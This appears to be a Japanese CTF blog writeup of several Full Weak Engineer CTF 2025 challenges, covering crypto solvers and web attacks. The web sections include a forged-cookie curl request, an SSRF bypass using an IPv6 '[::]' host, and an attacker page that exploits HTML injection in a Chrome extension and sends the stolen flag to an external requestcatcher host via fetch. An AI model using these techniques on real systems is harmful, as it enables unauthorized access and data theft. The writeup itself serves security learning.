はまやんはまやんはまやん

hamayanhamayan's blog

Full Weak Engineer CTF 2025 Writeup

[crypto] baby-crypto

sjrpgs{ebg13rq_zrffntr!}

ROT13かなと思ってやるとROT13。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c2pycGdze2ViZzEzcnFfenJmZm50ciF9

[crypto] base🚀

🪛🔱🛜🫗🚞👞🍁🎩🚎🐒🌬🧨🖱🥚🫁🧶🪛🔱👀🔧🚞👛😄🎩🚊🌡🌬🧮🤮🥚🫐🛞🪛🔱👽🔧🚞🐻🔳🎩😥🪨🌬🩰🖖🥚🫐🪐🪛🔱👿🫗🚞🏵📚🎩🚊🎄🌬🧯🕺🥚🫁📑🪛🔰🐀🫗🚞💿🔳🎩🚲🚟🌬🧲🚯🥚🫁🚰🪛🔱💀🔧🚞🏓🛼🎩🚿🪻🌬🧪🙊🥚🫐🧢🪛🔱🛟🔧🚞🚋🫳🎩😆🏉🌬🧶🚓🥚🫅💛🪛🔱🔌🐃🚞🐋🥍🎩😱🤮🌬🩰🛳🥚🫀📍🪛🔰🐽🫗🚞💿🍁🎩🚊🌋🌬🧵🔷🚀🚀🚀

暗号化された結果のようなemojiと暗号化スクリプトが与えられる。

#!/usr/bin/env python🚀

with open('emoji.txt', 'r', encoding='utf-8') as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}

def encode(data):
    bits = ''.join(f'{b:08b}' for b in data)
    pad = (-len(bits)) % 10
    bits += '0' * pad
    out = [table[int(bits[i:i+10], 2)] for i in range(0, len(bits), 10)]
    r = (-len(out)) % 4
    if r:
        out.extend('🚀' * r)
    return ''.join(out)

if __name__ == '__main__':
    msg = 'Hello!'
    enc = encode(msg.encode())
    print('msg:', msg)
    print('enc:', enc)

入力を絵文字に変える機能を持っている。デコードを書くとフラグが得られる。

#!/usr/bin/env python🚀

with open('emoji.txt', 'r', encoding='utf-8') as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}

def decode(data):
    out = list(data)
    while out and out[-1] == '🚀':
        out.pop()
    bits = ''
    for ch in out:
        for i, c in table.items():
            if c == ch:
                bits += f'{i:010b}'
                break
    if len(bits) % 8 != 0:
        bits = bits[:-(len(bits) % 8)]
    return bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))

flag = "🪛🔱🛜🫗🚞👞🍁🎩🚎🐒🌬🧨🖱🥚🫁🧶🪛🔱👀🔧🚞👛😄🎩🚊🌡🌬🧮🤮🥚🫐🛞🪛🔱👽🔧🚞🐻🔳🎩😥🪨🌬🩰🖖🥚🫐🪐🪛🔱👿🫗🚞🏵📚🎩🚊🎄🌬🧯🕺🥚🫁📑🪛🔰🐀🫗🚞💿🔳🎩🚲🚟🌬🧲🚯🥚🫁🚰🪛🔱💀🔧🚞🏓🛼🎩🚿🪻🌬🧪🙊🥚🫐🧢🪛🔱🛟🔧🚞🚋🫳🎩😆🏉🌬🧶🚓🥚🫅💛🪛🔱🔌🐃🚞🐋🥍🎩😱🤮🌬🩰🛳🥚🫀📍🪛🔰🐽🫗🚞💿🍁🎩🚊🌋🌬🧵🔷🚀🚀🚀"
flag = decode(flag).decode()
flag = decode(flag).decode()
print(flag)

[web] regex-auth

正規表現で認可制御をしてみました!

@app.route("/dashboard")
def dashboard():
    username = request.cookies.get("username")
    uid = request.cookies.get("uid")

    if not username or not uid:
        return redirect("/")

    try:
        user_id = base64.b64decode(uid).decode()
    except Exception:
        return redirect("/")

    if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE): 
        role = f"{FLAG}"
    else:
        role = "OTHER"

    return render_template_string(dashboard_page, user=username, uid=user_id, role=role)

uidはbase64エンコーディングされてCookieに入っているので、改ざんできる。空文字は何でもマッチングするのでguestをquestに変えてbase64エンコードしなおして送ればフラグが手に入る。

curl 'http://chal2.fwectf.com:8001/dashboard' -b 'username=evilman; uid=cXVlc3RfNzA0NjE='

[web] AED

Revive this broken heart!

app.get("/heartbeat", c => {
  const s = getSession(c.get("sid"))
  if (!pwned) {
    const char = DUMMY[Math.floor(Math.random() * DUMMY.length)]
    return c.json({ pwned: false, char })
  }
  if (s.idx === -1) s.idx = 0
  const pos = s.idx
  const char = FLAG[pos]
  s.idx = (s.idx + 1) % FLAG_LEN
  return c.json({ pwned: true, char, pos, len: FLAG_LEN })
})

pwnedが最初falseなので、まずはこれを何とかtrueにする必要がある。変更できるポイントを見てみると

app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})

呼ぶだけなのだが、app2とある。app2?

const app2 = new Hono()

const handler2 = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app2.fetch(req, { REMOTE_ADDR: ip })
}

Bun.serve({ port: 3000, reusePort: true, fetch: handler })
Bun.serve({ port: 4000, reusePort: true, fetch: handler2 })

もう1つサーバーが立ち上がっているようだ。fetchができるエンドポイントがあるので、ここから呼ぶのだろう。

const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)

app.get("/fetch", async c => {
  const raw = c.req.query("url")
  if (!raw) return c.text("missing url", 400)
  let u: URL
  try {
    u = new URL(raw)
  } catch {
    return c.text("bad url", 400)
  }
  if (!isAllowedURL(u)) return c.text("forbidden", 403)
  const r = await fetch(u.toString(), { redirect: "manual" }).catch(() => null)
  if (!r) return c.text("upstream error", 502)
  if (r.status >= 300 && r.status < 400) return c.text("redirect blocked", 403)
  return c.text(await r.text())
})

リダイレクトは使えないので、他に使えそうなやつを探すと[::]が使える。

> new URL("http://[::]:80/").hostname
'[::]'

という訳でGET /fetch?url=http://[::]:4000/toggleするとOKと帰ってくるのでGET /に戻るとフラグが楽しげにもらえる。

[web] Browser Memo Pad

Chrome拡張機能を作ってみました!ぜひ使ってください!

Browser Memo Padという拡張機能が与えられて管理者botのみ動くサイトが与えられる。bot

  1. 管理者botサイト上でBrowser Memo Padを使ってフラグをキーワードにメモを取る
  2. 攻撃者の用意したサイトを踏む
  3. Browser Memo Padのpopupサイトを開き、最後に登録されたメモのリンクを踏む

拡張機能のcontent scriptsは以下のように

  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "css": ["content.css"]
    }
  ],

どんなサイトでも追加され、Browser Memo Padに登録するには、ここで登録されたスクリプトwindow.postMessage({type: "create", payload: flag});のように使って、メモを取ることができる。つまり、方針としては、手順2で踏ませる攻撃者の用意したサイトで悪意あるメモを取ることによって、他のメモの内容を盗めればクリアということになる。

ソースコードを全て参照すると長くなるので、重要な部分を抜粋する。拡張機能のpopupサイトで使われているjavascriptで以下の部分が重要。

// Load all saved memos from local storage and show them on the page
function loadMemos() {
    chrome.storage.local.get(['memos'], function(result) {
        const memos = result.memos || [];
        const memoList = document.getElementById('memoList');
        
        if (memos.length === 0) {
            memoList.innerHTML = '<div class="no-memos">No memos saved</div>';
            return;
        }
        
        // Insert the generated HTML into the memo list element
        let html = '';
        memos.forEach((memo, index) => {
            html += `
                <div class="memo-item" data-index="${index}">
                    <div class="memo-content">${memo.text}</div>
                    <div class="memo-meta">
                        📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                        🕒 <span class="memo-time">${memo.timestamp}</span>
                    </div>
                    <button class="delete-btn" data-id="${index}">🗑️</button>
                </div>
            `;
        });
        memoList.innerHTML = html;

        // Add event listeners to delete buttons to remove memos
        document.querySelectorAll('.delete-btn').forEach(btn => {
            btn.addEventListener('click', () => {
                const id = Number(btn.getAttribute('data-id'));
                deleteMemo(id);

            });
        });

        // View the website from which the memo was saved
        const links = memoList.querySelectorAll('.memo-url');
        links.forEach(link => {
            link.addEventListener('click', function (e) {
                e.preventDefault();

                const dataIndex = link.closest('.memo-item')?.dataset.index;
                if (dataIndex === undefined) return;

                chrome.storage.local.get('memos', ({ memos = [] }) => {
                    const memo = memos[+dataIndex];
                    if (!memo) return;

                    const url = link.href.split('#')[0];
                    if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                        console.error('invalid url');
                        return;
                    }
                    const encodedText = encodeURIComponent(memo.text);
                    const urlWithFragment = `${url}#:~:text=${encodedText}`;

                    chrome.tabs.create({ url: urlWithFragment });
                });
            });
        });
    });
}

取ったメモには、メモを取った時のキーワードとURLが記録されていて、Text Fragmentsを使ってそのキーワードに飛べるようなURLを作って踏むことで移動できるようになっている。今回はキーワードにフラグが設定されているので、Text Fragmentsという形でURLにフラグが含まれることになる。botの動きも「最後に登録されたメモのリンクを踏む」をするので、これを使うのだろう。

まず、HTML Injectionができることを見つける必要がある。

// Insert the generated HTML into the memo list element
let html = '';
memos.forEach((memo, index) => {
    html += `
        <div class="memo-item" data-index="${index}">
            <div class="memo-content">${memo.text}</div>
            <div class="memo-meta">
                📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                🕒 <span class="memo-time">${memo.timestamp}</span>
            </div>
            <button class="delete-btn" data-id="${index}">🗑️</button>
        </div>
    `;
});
memoList.innerHTML = html;

以上のように埋め込んでinnerHTMLに入れているので、HTML Injectionができる。攻撃サイトで

window.postMessage({type: "create", payload: "<img src='https://[yours].requestcatcher.com/test'>"});

のように呼んでHTMLを登録すれば、popupサイトを開いたときにリクエストが飛ぶのを確認できる。管理botにURLを送るときはHTTPにしないとうまくいかないので注意。自分はVPSをかりて XSSしてやればいいような感じが出ているが、拡張機能マニフェストファイルにて

  "content_security_policy": {
    "extension_pages": "script-src 'self'"
  }

のようにCSPがかかっているので難しい。どうするかというと、HTML Injectionと既存のロジックを組み合わせて解く。悪用するロジックは以下。

// View the website from which the memo was saved
const links = memoList.querySelectorAll('.memo-url');
links.forEach(link => {
    link.addEventListener('click', function (e) {
        e.preventDefault();

        const dataIndex = link.closest('.memo-item')?.dataset.index;
        if (dataIndex === undefined) return;

        chrome.storage.local.get('memos', ({ memos = [] }) => {
            const memo = memos[+dataIndex];
            if (!memo) return;

            const url = link.href.split('#')[0];
            if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                console.error('invalid url');
                return;
            }
            const encodedText = encodeURIComponent(memo.text);
            const urlWithFragment = `${url}#:~:text=${encodedText}`;

            chrome.tabs.create({ url: urlWithFragment });
        });
    });
});

.memo-urlを列挙して、親要素にある.memo-itemからindexを取ってきて、そのindexからmemo.textを持ってきてText Fragmentsとして.memo-urlのURLにくっつけてリンクを作っている。通常は.memo-urlと親要素の.memo-itemが同一メモになっているので問題ないのだが、HTML Injectionを使うことでそれをあべこべにして、.memo-urlを攻撃者のURLにして、.memo-itemのindexをフラグのものにすることで、攻撃者のURLにフラグがText Fragmentsとしてつけられた状態にして、それをbotに踏ませることで攻撃者のサイトに送るようにする。

言葉だけだとよく分からないと思うが、具体的には以下のようなHTMLをインジェクションする。

    </div>
    <div class='memo-meta'>
        📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 
        🕒 <span class='memo-time'>Fake</span>
    </div>
    <button class='delete-btn' data-id='1'>🗑️</button>
</div>
<div class='memo-item' data-index='0'>
    <div class='memo-content'>

これを追加することで

<div class="memo-item" data-index="${index}">
    <div class="memo-content"></div>
    <div class='memo-meta'>
        📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 
        🕒 <span class='memo-time'>Fake</span>
    </div>
    <button class='delete-btn' data-id='1'>🗑️</button>
</div>
<div class='memo-item' data-index='0'>
    <div class='memo-content'></div>
    <div class="memo-meta">
        📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
        🕒 <span class="memo-time">${memo.timestamp}</span>
    </div>
    <button class="delete-btn" data-id="${index}">🗑️</button>
</div>

こんな感じにできるので、botがクリックする最後の要素の.memo-itemのindexが0(フラグのもの)にしつつ、その子要素に攻撃者のmemo.urlを設定できる。 これで、攻撃者のサイトにhttp://[attacker]/#:~:text=[フラグ]みたいな感じでフラグを送ることができるので、あとはそれを転送する。 ちなみに、document.location.hashではtext fragments取れないので、performance.getEntriesByType("navigation")[0].nameを使うこと。(これは知らなかったのだがググったら出てきた) 攻撃者サイトを用意する最終的なコードは以下となった。

from flask import Flask

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return """
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {
      fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: performance.getEntriesByType("navigation")[0].name });
      window.postMessage({type: "create", payload: "</div><div class='memo-meta'>📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 🕒 <span class='memo-time'>Fake</span></div><button class='delete-btn' data-id='1'>🗑️</button></div><div class='memo-item' data-index='0'><div class='memo-content'>"});
    }, 0);
</script>
"""

if __name__ == "__main__":
    app.run("0.0.0.0", port=80)

[crypto] Load × Limit × Loot

Let’s pack the knapsack and go on a picnic.

ナップサック暗号。LLLで解けることが知られている。LO法というのがあるので、それをそのまま実装すればフラグが得られる。kusanoさんの記事にすべてが書いてある。

from Crypto.Util.number import *

P = [redacted]
C = [redacted]

def LO(p,c):
    I = matrix.identity(ZZ, 64)
    C = Matrix(ZZ, p).T
    Z = matrix(ZZ, 1, 64)
    K = matrix.identity(ZZ, 1) * (-c)

    cands = block_matrix(
        [
            [I      , C     ],
            [Z      , K     ]
        ]
    ).LLL()

    for cand in cands:
        tot = sum(ai*xi for ai, xi in zip(p, cand[:-1]))
        ok = (cand[64] == 0) and (tot == c)
        if ok:
            ans = 0
            for xi in cand[:-1]:
                ans *= 2
                ans += xi
            return long_to_bytes(ans)

ans = ''
for i in range(len(C)):
    ans += LO(P, C[i]).decode()
print(ans)

[crypto] unixor

I wanna be a novelist

FLAG = b"fwectf{**REDACTED**}"

assert len(FLAG) < 30

"""
novel.txtはChatGPT 5 Autoによって生成された、UTF-8(BOMなし、改行LF)で書かれた小説です。

プロンプト(一部修正):
「**REDACTED**」という単語から連想される、1500字程度の小説を書いてください。
"""
novel = open("novel.txt", "rb").read()

encrypted = bytes([a ^ FLAG[i % len(FLAG)] for i, a in enumerate(novel)])
open("encrypted.txt", "wb").write(encrypted)

以上のような暗号スクリプトが与えられる。暗号化キー的にfwectf{というのが繰り返されるはずなので、以下のような感じで日本語が出てこないか探索してみる。7bytesでやるとUTF-8へデコードするときにエラーになるので1つ減らして6bytesで探索する。

novel = open("encrypted.txt", "rb").read()

pre = b"fwectf"
for i in range(len(novel) - len(pre) + 1):
    try:
        post = bytes([a ^ pre[i] for i, a in enumerate(novel[i:i+len(pre)])])
        print(i, post.decode())
    except:
        pass

とやると、

$ python3 solver.py | tee res.txt
0  潮
16 ֨ܘı
24 漂う
288 三代
312 だが
336 れが
352 Чܱ޺
360 だけ
384 そん
...

となり、フラグの長さ24文字っぽいと分かる。また、復号化するときの先頭バイトとして使えそうなポイントがいくつか得られるので、フラグの先頭を全探索して、この使えそうなポイントで出てくる文字を見ながら文章になるようなものを探索する。

import string

novel = open("encrypted.txt", "rb").read()
for c1 in string.printable:
    for c2 in string.printable:
        try:
            FLAG = ("fwectf{" + c1 + c2).encode()
            res = f"{FLAG}"
            for si in [0, 24, 288, 312, 336, 360, 384, 408, 432, 456,480,504,840,864,888,912,936,960,984,1008,1032,1056,1080,1104,1128,1152,1176,1200,1464,1488,1512,1536,1560,1584,1608,1632,1656,1680,1704,1728,1752,1776,2448,2472,2496,2520,2544,2568,2592,2616,2640,2664,2688,2712,2736]:
                decrypted = bytes([a ^ FLAG[i] for i, a in enumerate(novel[si:si+len(FLAG)])])
                dec = decrypted.decode()
                res += " | " + str(si) + "," + dec
            print(res)
        except:
            pass

出力をいい感じに見ると

b'fwectf{dC' |  潮の | 漂う港 | 三代続 | だが近 | れが減 | だけが | そんな | 的経済 | う言葉 | とって | 突然落 | 物のよ | 日、洋 | 見の羅 | 、沖へ | 流れを | 探知機 | 応を追 | づけば | ぎりぎ | いた。 | れたそ | 際の海 | えない | と海の | い、境 | しない | 広がっ | で洋介 | り、ま | などな | に進ん | 洋介は | み込み | を見送 | よりも | 空虚さ | った。 | のでも | 線を引 | ら争い | のだ。 | ふと、 | に守り | 国の海 | それと | きるた | のかを | えはま | ただ、 | 出るだ | の向こ | 日より | 魚が泳 | がする

見つかる。今回は{が既知だったので2文字探索したが、次は3文字探索しつつ、日本語が続かなさそうな所をいい感じに省きながら根性すると、フラグが得られる。

import string

novel = open("encrypted.txt", "rb").read()

FLAG_PRE = "fwectf{dC0D3_fR_1S_D3"
for c1 in string.printable:
    for c2 in string.printable:
        for c3 in string.printable:
            try:
                FLAG = (FLAG_PRE + c1 + c2 + c3).encode()
                res = f"{FLAG}"
                #for si in [0, 288, 312, 336, 360, 384, 408, 432, 456,480,504,840,864,888,912,936,960,984,1008,1032,1056,1080,1104,1128,1152,1176,1200,1464,1488,1512,1536,1560,1584,1608,1632,1656,1704,1728,1752,2448,2472,2496,2520,2544,2568,2592,2616,2640,2664,2688,2712]:
                for si in [0, 288, 312, 336, 360, 384, 408, 432,]:
                    decrypted = bytes([a ^ FLAG[i] for i, a in enumerate(novel[si:si+len(FLAG)])])
                    dec = decrypted.decode()
                    res += " | " + dec
                print(res)
            except:
                pass

seek3()

小説の中身は解いてからのお楽しみ。